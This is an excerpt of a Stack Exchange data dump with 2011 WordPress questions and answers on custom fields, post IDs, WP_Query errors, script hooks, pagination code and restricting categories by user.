  <row Id="21540" PostTypeId="2" ParentId="21539" CreationDate="2011-06-30T02:21:51.543" Score="2" ViewCount="" Body="&lt;p&gt;Perhaps try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo do_shortcode('[nggallery id=' . $meta . ']');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-30T02:21:51.543" CommentCount="1" />
  <row Id="21541" PostTypeId="1" CreationDate="2011-06-29T21:56:02.070" Score="0" ViewCount="71" Body="&lt;p&gt;So, if I'm publishing a post, and set a value for this posts custom field, can I set the custom field value of all other posts to false?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Well that's good to hear that it is possible, but maybe there is a better way to achieve my goal: I'm fairly new to WordPress, and the WordPress stack exchange site so I apologize if I'm not putting out all the required info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;Designer&quot; custom post type for creating profiles of designers, and I would like to have the option for &quot;Featuring&quot; 1 particular designer and un-featuring the previously &quot;Featured&quot; designer. I am using &quot;Custompress&quot; plugin for post types, taxonomies, and custom field, currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts on how I might achieve this are all very welcome!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I like the sounds of mfields suggestion, but I have yet to discover what a &quot;custom setting&quot; is. Would you mind elaborating or pointing me in the right direction?&lt;/p&gt;&#xA;" LastEditorUserId="6645" LastEditorDisplayName="" LastEditDate="2011-07-08T20:28:42.713" LastActivityDate="2011-08-09T02:21:14.063" Title="Wordpress set custom field to true, sets all others to false?" Tags="&lt;custom-field&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21542" PostTypeId="2" ParentId="21337" CreationDate="2011-06-30T02:57:13.700" Score="1" ViewCount="" Body="&lt;p&gt;I had installed the &quot;Facebook Comments for WordPress&quot; plugin. This plugin attaches a filter to &lt;code&gt;the_content();&lt;/code&gt;. The filter contains the line &lt;code&gt;wp_reset_query();&lt;/code&gt;. Commenting this out fixes the problem (this is sub-optimal though, because, now the client will be unable to update the plugin).&lt;/p&gt;&#xA;" OwnerUserId="5719" LastActivityDate="2011-06-30T02:57:13.700" />
  <row Id="21543" PostTypeId="1" CreationDate="2011-06-30T04:02:22.753" Score="1" ViewCount="39" Body="&lt;p&gt;What are the best practices for using post_id?  Can I use this safely in my templates to call specific posts, or will these post_id's ever change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that randomly today the post_id's changed on my site, and I'm wondering what could have caused it.  It didn't mess up any of the permalinks (thankfully!) but I did have to go switch some custom queries which were calling content specifically by the post_id (specifically in some custom_post_types I've created)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... should I use a different query to get a specific post?  The query I'm using looks like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=home_feature&amp;amp;p=36')?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just earlier today, post_id for this post was 139 and my query was: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=home_feature&amp;amp;p=139')?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, when the post_id changed, my query (and subsequently the custom home feature) broke. I'm just not sure what could have caused this change.. and if that means I shouldn't be using the post_id in custom queries..  Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="5861" LastActivityDate="2011-06-30T04:02:22.753" Title="will post_id ever change? Can I safely use post_id for custom queries?" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;best-practices&gt;&lt;wordpress.org&gt;" CommentCount="3" />
  <row Id="21544" PostTypeId="1" CreationDate="2011-06-30T04:04:59.173" Score="1" ViewCount="125" Body="&lt;p&gt;So if I set the large image size in the media library to say 600x600 pixels, and then upload an image which is the same dimensions it won't get set as the 'large' image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is talk on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12996/media-image-sizes-arent-being-applied-to-uploads&quot;&gt;this&lt;/a&gt; question about it being the ratio, but I don't think this is the case. Also I don't want to setup another custom image size as its will just bloat the server with redundant images, when 'large' should work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a filter or setting where I can change the logic of the images, so if the dimension is larger than , OR equal to the media library setting it gets set as the large image. At the moment the equal to seems to be missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2011-08-22T20:43:53.143" Title="Image dimensions same as image size" Tags="&lt;images&gt;&lt;media&gt;&lt;library&gt;&lt;image-resize&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="21545" PostTypeId="2" ParentId="21470" CreationDate="2011-06-30T05:10:40.687" Score="0" ViewCount="" Body="&lt;p&gt;Maybe this thread can help you? &lt;a href=&quot;http://wordpress.org/support/topic/how-do-i-change-my-upload-limit?replies=6&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-do-i-change-my-upload-limit?replies=6&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It suggests changing settings in php.ini and/or .htaccess&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-06-30T05:10:40.687" CommentCount="1" />
  <row Id="21546" PostTypeId="1" CreationDate="2011-06-30T05:23:47.047" Score="0" ViewCount="83" Body="&lt;p&gt;We would like to know that how we occur error when we implement this code in our sidebar.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories(); &#xA;foreach($categories as $category) &#xA;{ &#xA;  printf('&amp;lt;h2&amp;gt;%s&amp;lt;/h2&amp;gt;&amp;lt;ul&amp;gt;', $category-&amp;gt;cat_name);&#xA;  $posts = new WP_Query('cat='.$category-&amp;gt;cat_ID);&#xA;  while($posts-&amp;gt;have_posts())&#xA;  {     &#xA;    $posts-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;', the_title(), '&amp;lt;/li&amp;gt;'; &#xA;  }   &#xA;  print '&amp;lt;/ul&amp;gt;';  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error we are getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Cannot use object of type WP_Query as array in C:\xampp\htdocs\wordpress\wp-includes\query.php on line 2374&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6624" LastActivityDate="2011-08-30T23:37:07.327" Title="Wordpress WP_Query() Not working properly" Tags="&lt;php&gt;&lt;wp-query&gt;&lt;wordpress.com&gt;" AnswerCount="2" />
  <row Id="21548" PostTypeId="1" CreationDate="2011-06-30T05:54:55.183" Score="1" ViewCount="19" Body="&lt;p&gt;Referring to the docs got &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box&lt;/code&gt;&lt;/a&gt;, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check permissions&#xA;if ( 'page' == $_POST['post_type'] ) {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return;&#xA;    } else {&#xA;    if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to authenticate a user for editing a custom post type &quot;portfolio&quot;, do I do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_POST['post_type'] != 'portfolio' || !current_user_can_for_blog($post_id, 'edit_post')) &#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-30T05:54:55.183" Title="Authenticating user for custom post type" Tags="&lt;custom-post-types&gt;&lt;authorization&gt;" />
  <row Id="21549" PostTypeId="1" CreationDate="2011-06-30T05:55:23.640" Score="0" ViewCount="139" Body="&lt;p&gt;I want to change the search URL from &lt;code&gt;example.com/search/keyword&lt;/code&gt; to &lt;code&gt;example.com/result&lt;/code&gt; or &lt;code&gt;topic/keyword&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6626" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-09T12:03:00.063" LastActivityDate="2011-08-10T09:21:53.077" Title="Changing the search URL?" Tags="&lt;url-rewriting&gt;&lt;search&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="21551" PostTypeId="2" ParentId="21546" CreationDate="2011-06-30T06:03:58.707" Score="0" ViewCount="" Body="&lt;p&gt;hi  rodger,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $query = new WP_Query( array( 'meta_key' =&amp;gt; 'Old ID', 'meta_value' =&amp;gt; $atts['oldid'] ) );&#xA; return $query['post_title'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Interacting_with_WP_Query&quot; rel=&quot;nofollow&quot;&gt;Codex Ref&lt;/a&gt;. you should try this..&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-30T06:03:58.707" CommentCount="1" />
  <row Id="21553" PostTypeId="2" ParentId="19907" CreationDate="2011-06-30T06:40:14.010" Score="0" ViewCount="" Body="&lt;p&gt;You can do below stuff in order to determine the count of widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$mysidebars = wp_get_sidebars_widgets()&lt;/code&gt; - will give you the list of sidebars and widgets used on that sidebars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$total_widgets =  count( $mysidebars['my-sidebar-id'] );&lt;/code&gt; - will give you the count of total widgets in my-sidebar-id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will solve your doubts.&lt;/p&gt;&#xA;" OwnerUserId="6628" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-30T09:17:59.503" LastActivityDate="2011-06-30T09:17:59.503" />
  <row Id="21555" PostTypeId="2" ParentId="20479" CreationDate="2011-06-30T07:02:07.337" Score="0" ViewCount="" Body="&lt;p&gt;Actually I just had a typo &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script('jqeury-validate', 'http://ajax.aspnetcdn.com/ajax/jquery.validate&#xA;                      ^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But thanks @Chris_O, &amp;amp; @Chip Bennett for their great answers&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-30T07:02:07.337" />
  <row Id="21556" PostTypeId="1" CreationDate="2011-06-30T07:10:09.517" Score="1" ViewCount="99" Body="&lt;p&gt;I looked at the included scripts in WordPress (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt;) and didnt find what I should include to use jQuery UI Autocomplete&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using it in the admin area. Should I just include jQuery UI from Google CDN? I think it will conflict with WordPress's jQuery UI? It appears to work tho.&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-07-08T02:38:30.200" LastActivityDate="2011-08-07T08:20:07.210" Title="jQuery UI AutoComplete &amp; wp_enqueue_script" Tags="&lt;admin&gt;&lt;wp-enqueue-script&gt;&lt;jquery-ui&gt;" AnswerCount="1" />
  <row Id="21557" PostTypeId="1" CreationDate="2011-06-30T07:14:50.033" Score="0" ViewCount="57" Body="&lt;p&gt;i was trying to achieve this how can i restrict user to see his comments only along with admin replies and admin can see everyone comments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion with code would be helpful as i am new to wordpress.&lt;/p&gt;&#xA;" OwnerUserId="6630" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-30T10:27:23.730" LastActivityDate="2011-06-30T10:27:23.730" Title="How to restrict user to see his comments only and admin can see everyone comments?" Tags="&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="21558" PostTypeId="1" CreationDate="2011-06-30T07:18:51.303" Score="1" ViewCount="55" Body="&lt;p&gt;I have a site in which all categories are open to anyone, except for 2 categories that are password protected: Students, and Teachers. They are open only to specific users types, as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Students category is open to a user of type student, and to user of type teacher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Teachers category is open to a user of type teacher, but &lt;em&gt;not&lt;/em&gt; to user of type student.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about implementing that in Wordpress?&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-06-30T07:45:37.463" LastActivityDate="2011-06-30T07:47:12.627" Title="How to block a category from one user and enable the category for the rest of the users" Tags="&lt;categories&gt;&lt;security&gt;" AnswerCount="1" />
  <row Id="21559" PostTypeId="2" ParentId="13856" CreationDate="2011-06-30T07:22:47.407" Score="0" ViewCount="" Body="&lt;p&gt;I ended up with coding up some classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credits: &lt;a href=&quot;http://design.sparklette.net/teaches/how-to-add-wordpress-pagination-without-a-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://design.sparklette.net/teaches/how-to-add-wordpress-pagination-without-a-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On 2nd thought very long but works... if anyone improves it, it will be great to add a link in comments :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Pager {&#xA;    protected $table;&#xA;    protected $pages;&#xA;    protected $perpage;&#xA;    protected $page;&#xA;    protected $wpdb;&#xA;    protected $otherSQL;&#xA;&#xA;    public function __construct($table, $perpage, $page, $otherSQL = '') {&#xA;        global $wpdb;&#xA;        $this-&amp;gt;wpdb = $wpdb;&#xA;        $this-&amp;gt;table = $wpdb-&amp;gt;prefix . $table;&#xA;        $this-&amp;gt;perpage = $perpage;&#xA;        $this-&amp;gt;page = $page;&#xA;        $this-&amp;gt;pages = ceil($wpdb-&amp;gt;get_var('SELECT COUNT(*) FROM ' . $this-&amp;gt;table) / $this-&amp;gt;perpage);&#xA;        $this-&amp;gt;otherSQL = $otherSQL;&#xA;    }&#xA;&#xA;    protected function getFirstPageURL() {&#xA;        return UrlUtils::appendQueryString('pagenum', 1);&#xA;    }&#xA;&#xA;    protected function getPrevPageURL() {&#xA;        return UrlUtils::appendQueryString('pagenum', $this-&amp;gt;page == 1 ? 1 : $this-&amp;gt;pagenum - 1);&#xA;    }&#xA;&#xA;    protected function getNextPageURL() {&#xA;        return UrlUtils::appendQueryString('pagenum', $this-&amp;gt;page == $this-&amp;gt;pages ? $this-&amp;gt;pages : $this-&amp;gt;page + 1);&#xA;    }&#xA;&#xA;    protected function getLastPageURL() {&#xA;        return UrlUtils::appendQueryString('pagenum', $this-&amp;gt;pages);&#xA;    }&#xA;&#xA;    protected function getPageURL($page) {&#xA;        return UrlUtils::appendQueryString('pagenum', $page);&#xA;    }&#xA;&#xA;    public function generatePagination($range = 2) {&#xA;        $shown = $range * 2 + 1;&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;tablenav&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;tablenav-pages&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;displaying-num&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;pages; ?&amp;gt; page(s)&amp;lt;/span&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;getFirstPageURL(); ?&amp;gt;&quot; &amp;lt;?php if ($this-&amp;gt;page == 1) echo 'class=&quot;disabled&quot;';  ?&amp;gt;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;getPrevPageURL(); ?&amp;gt;&quot; &amp;lt;?php if ($this-&amp;gt;page == 1) echo 'class=&quot;disabled&quot;';  ?&amp;gt;&amp;gt;&amp;amp;lsaquo;&amp;lt;/a&amp;gt; &#xA;&#xA;                &amp;lt;?php&#xA;                for ($i = 1; $i &amp;lt;= $this-&amp;gt;pages; $i++) { &#xA;                    if ($this-&amp;gt;pages != 1 &amp;amp;&amp;amp;( !($i &amp;gt;= $this-&amp;gt;pages + $shown || $i &amp;lt;= $this-&amp;gt;page - $shown) || $this-&amp;gt;pages &amp;lt;= $shown )) {&#xA;                        echo '&amp;lt;a href=&quot;' . $this-&amp;gt;getPageURL($i) . '&quot; ' . ($i == $this-&amp;gt;page ? 'class=&quot;disabled&quot;' : '' ) . '&amp;gt;' . $i . '&amp;lt;/a&amp;gt;';&#xA;                    }&#xA;                }&#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;getNextPageURL(); ?&amp;gt;&quot; &amp;lt;?php if ($this-&amp;gt;page == $this-&amp;gt;pages) echo 'class=&quot;disabled&quot;';  ?&amp;gt;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo $this-&amp;gt;getLastPageURL(); ?&amp;gt;&quot; &amp;lt;?php if ($this-&amp;gt;page == $this-&amp;gt;pages) echo 'class=&quot;disabled&quot;';  ?&amp;gt;&amp;gt;&amp;amp;rsaquo;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    public function getPageData() {&#xA;        $data = $this-&amp;gt;wpdb-&amp;gt;get_results('SELECT * FROM ' . $this-&amp;gt;table . ' ' . $this-&amp;gt;otherSQL . ' LIMIT ' . ($this-&amp;gt;page - 1) * $this-&amp;gt;perpage . ', ' . $this-&amp;gt;perpage, OBJECT );&#xA;        return $data;&#xA;    }&#xA;&#xA;}&#xA;&#xA;class UrlUtils {&#xA;&#xA;    public static function parseQueryString($url = '') {&#xA;        $queryArr = array();&#xA;        $queryStr = $_SERVER['QUERY_STRING'];&#xA;        if (!empty($url)) {&#xA;            $queryStr = parse_url($url, PHP_URL_QUERY);&#xA;        }&#xA;        parse_str($queryStr, $queryArr);&#xA;        return $queryArr;&#xA;    }&#xA;&#xA;    public static function appendQueryString($key, $val, $url = &quot;&quot;) {&#xA;        $queryArr = self::parseQueryString($url);&#xA;        $queryArr[$key] = $val;&#xA;        $queryStr = http_build_query($queryArr);&#xA;&#xA;        $url = empty($url) ? $_SERVER['PHP_SELF'] : $url;&#xA;        $parts = parse_url($url);&#xA;        $parts['query'] = $queryStr;&#xA;&#xA;        return $parts['path'] . '?' . $parts['query'];&#xA;    }&#xA;&#xA;    public static function removeQueryString($remove) {&#xA;        $queryArr = self::parseQueryString();&#xA;        if (is_array($remove)) {&#xA;            foreach ($remove as  $r) {&#xA;                if (array_key_exists($r, $queryArr)) {&#xA;                    unset($queryArr[$r]);&#xA;                }&#xA;            }&#xA;        } else {&#xA;            if (array_key_exists($remove, $queryArr)) {&#xA;                unset($queryArr[$remove]);&#xA;            }&#xA;        }&#xA;&#xA;        $queryStr = http_build_query($queryArr);&#xA;        return $_SERVER['PHP_SELF'] . '?' . $queryStr;&#xA;    }&#xA;&#xA;}&#xA;&#xA;// Usage like&#xA;&#xA;require_once('inc/pager.php');&#xA;$pager = new Pager('km_contact', 20, (isset($_GET['pagenum']) &amp;amp;&amp;amp; is_numeric($_GET['pagenum'])) ? $_GET['pagenum'] : 1, 'ORDER BY dt DESC');&#xA;$contacts = $pager-&amp;gt;getPageData();&#xA;&#xA;...&#xA;&#xA;&amp;lt;?php foreach ($contacts as $c) : ?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php echo $c-&amp;gt;name; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;mailto:&amp;lt;?php echo $c-&amp;gt;name; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $c-&amp;gt;email; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php echo $c-&amp;gt;subject; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;?php echo $c-&amp;gt;content; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo UrlUtils::appendQueryString('viewid', $c-&amp;gt;id); ?&amp;gt;&quot;&amp;gt;View&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;...&#xA;&#xA;$pager-&amp;gt;generatePagination();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-30T07:22:47.407" />
  <row Id="21560" PostTypeId="2" ParentId="21558" CreationDate="2011-06-30T07:29:44.453" Score="1" ViewCount="" Body="&lt;p&gt;We will use the my_force_login() function that will force the users to login when they press on a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wp-login.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this condition ends write this part&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ($user_name  == &quot;student&quot;) {&#xA;                                wp_safe_redirect(&quot;http://www.domain.co.il /?cat=4&quot;);&#xA;                                }&#xA;                                else {&#xA;                                wp_safe_redirect($redirect_to);&#xA;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the condition write the username that needs to be redirected to his own category, this is the blocked user that only has one category opened for him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The domain that is written inside the condition is the redirect address, it should have the category number in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following function:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_force_login() {&#xA;global $post;&#xA;&#xA;if (!is_single() &amp;amp;&amp;amp; !is_category()) return;&#xA;                            global $current_user;&#xA;                            get_currentuserinfo();&#xA;&#xA;            if( is_single() ) {&#xA;    $categories = wp_get_post_categories($post-&amp;gt;ID);&#xA;                                            $catid = $categories[0];&#xA;                                            $cat = get_category($catid);&#xA;                                            $ids = array(2); // array of category IDs that force login to read&#xA;&#xA;                            if(((in_array((int)$cat-&amp;gt;cat_ID, $ids)|| (in_array((int)$cat-&amp;gt;category_parent, $ids)))&amp;amp;&amp;amp; !is_user_logged_in()) || ((in_array((int)$cat-&amp;gt;cat_ID, $ids)|| (in_array((int)$cat-&amp;gt;category_parent, $ids))) &amp;amp;&amp;amp; is_user_logged_in() &amp;amp;&amp;amp; $current_user-&amp;gt;user_login  == &quot;student&quot;)) {&#xA;                            auth_redirect();&#xA;                            }&#xA;            }&#xA;if( is_category(2) ) {&#xA;     $cat_ID = get_query_var('cat');&#xA;&#xA;                                            $ids = array(2); // array of category IDs that force login to read&#xA;&#xA;&#xA;                            if((in_array((int)$cat_ID, $ids) &amp;amp;&amp;amp; !is_user_logged_in()) || (in_array((int)$cat_ID, $ids)  &amp;amp;&amp;amp; is_user_logged_in() &amp;amp;&amp;amp; $current_user-&amp;gt;user_login  == &quot;student&quot;)) {&#xA;                            auth_redirect();&#xA;                            }&#xA;            }&#xA;&#xA;            if( is_single() ) {&#xA;    $categories = wp_get_post_categories($post-&amp;gt;ID);&#xA;&#xA;                                            $catid = $categories[0];&#xA;                                            $cat = get_category($catid);&#xA;                                            $ids = array(4);&#xA;&#xA;}&#xA;                            get_currentuserinfo();&#xA;                            if((in_array((int)$cat-&amp;gt;cat_ID, $ids)|| (in_array((int)$cat-&amp;gt;category_parent, $ids)))&amp;amp;&amp;amp; !is_user_logged_in()) {&#xA;                            auth_redirect();&#xA;                            }&#xA;            }&#xA;if( is_category(4) ) {&#xA;     $cat_ID = get_query_var('cat');&#xA;&#xA;                                            $ids = array(4); &#xA;&#xA;                            if ( in_array((int)$cat_ID, $ids)  &amp;amp;&amp;amp; !is_user_logged_in()) {&#xA;                            auth_redirect();&#xA;                            }&#xA;            }&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;array(4), is_category(4)&lt;/code&gt; contain the category numbers where we would like to force a login in order to block the user from accessing.&lt;br&gt;&#xA;The first part of the function (category 2) allows all of the users to enter that category except one user, student in our case.&#xA;The second part of the function (category 4) allows everyone to enter including student.&#xA;&lt;code&gt;user_login  == &quot;student&quot;&lt;/code&gt;&#xA;defines the blocked user name&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="1204" LastEditorDisplayName="" LastEditDate="2011-06-30T07:47:12.627" LastActivityDate="2011-06-30T07:47:12.627" />
  <row Id="21561" PostTypeId="1" AcceptedAnswerId="21579" CreationDate="2011-06-30T07:39:03.280" Score="5" ViewCount="129" Body="&lt;p&gt;I am using WordPress 3.1.4 by now. I am confused with where (which hook) do I use to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Register Front End Scripts &lt;/li&gt;&#xA;&lt;li&gt;Register Front End Styles&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Scripts&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Styles&lt;/li&gt;&#xA;&lt;li&gt;Register Back End Scripts &lt;/li&gt;&#xA;&lt;li&gt;Register Back End Styles&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Scripts&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Styles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far I use&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Register Front End Scripts - &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register Front End Styles - &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Scripts - &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Front End Styles - &lt;code&gt;init&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;Register Back End Scripts - &lt;code&gt;admin_init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Register Back End Styles - &lt;code&gt;admin_init&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Scripts - &lt;code&gt;admin_print_scripts-{xxx}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enqueue Back End Styles - &lt;code&gt;admin_print_styles&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Did I get my hooks right? Perhaps not, but if so ...&lt;/li&gt;&#xA;&lt;li&gt;All front end register/enqueue scripts/styles in &lt;code&gt;init&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Why is there no &lt;code&gt;admin_print_styles-{xxx}&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-09-05T10:58:54.963" Title="Where is the right place to register/enqueue scripts &amp; styles" Tags="&lt;hooks&gt;&lt;wp-enqueue-script&gt;&lt;wp-enqueue-style&gt;&lt;wp-register-style&gt;&lt;wp-register-script&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="21562" PostTypeId="2" ParentId="21557" CreationDate="2011-06-30T07:40:24.813" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/semi-private-comments/&quot; rel=&quot;nofollow&quot;&gt;Semi-Private Comments&lt;/a&gt;.just install this plugin.This plugin masks comments so that a user can only see comments written by himself or by an admin. Admins can see all comments.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-30T07:40:24.813" CommentCount="2" />
